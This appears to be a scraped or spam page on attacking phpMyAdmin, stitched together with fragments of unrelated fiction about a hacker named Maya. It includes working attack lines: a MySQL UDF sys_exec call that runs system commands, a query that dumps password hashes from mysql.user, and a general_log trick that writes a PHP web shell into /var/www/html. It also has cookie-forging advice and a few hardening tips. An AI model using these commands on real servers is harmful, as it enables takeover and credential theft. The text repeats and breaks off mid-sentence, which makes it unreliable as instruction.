Use this to forge a cookie: phpMyAdmin cookie value → decrypt to get username.
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id');
Before executing exploits, you must identify phpMyAdmin.
References:
Once inside, the goal shifts to escalating privileges or stealing data. Executing Code with SQL
SELECT user, host, authentication_string FROM mysql.user;
If the server is running on Windows and you have high privileges, you can attempt to drop a DLL to gain OS-level execution. 5. Defensive Hardening (The "Verified" Fixes) phpmyadmin hacktricks verified
The server hummed like a tired bee in the corner of the data center, racks of machines stacked like shoeboxes full of other people’s secrets. Maya had been awake for thirty-six hours, fingers raw from coffee and tenacious focus. She was not a criminal — not really — but tonight she was playing both sides of a game she’d long refused to join.
Before launching an attack, you must understand the environment. phpMyAdmin’s vulnerability profile changes drastically between versions.
SHOW VARIABLES LIKE 'general_log_file'; SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['cmd']); ?>"; SET GLOBAL general_log = 'OFF'; Use this to forge a cookie: phpMyAdmin cookie
Remove the default pma user and ensure the root user has a strong password.
When analyzing phpMyAdmin instances, researchers often rely on the "HackTricks" methodology—a comprehensive collection of technical tricks and procedures. However, verification is critical. Not all public exploits work on every server configuration.
Look for publicly accessible setup or documentation files. Check paths like /README , /ChangeLog , or /Documentation.html . Maya had been awake for thirty-six hours, fingers
Ensure you are using the latest version to patch CVE-2018-12613 and others.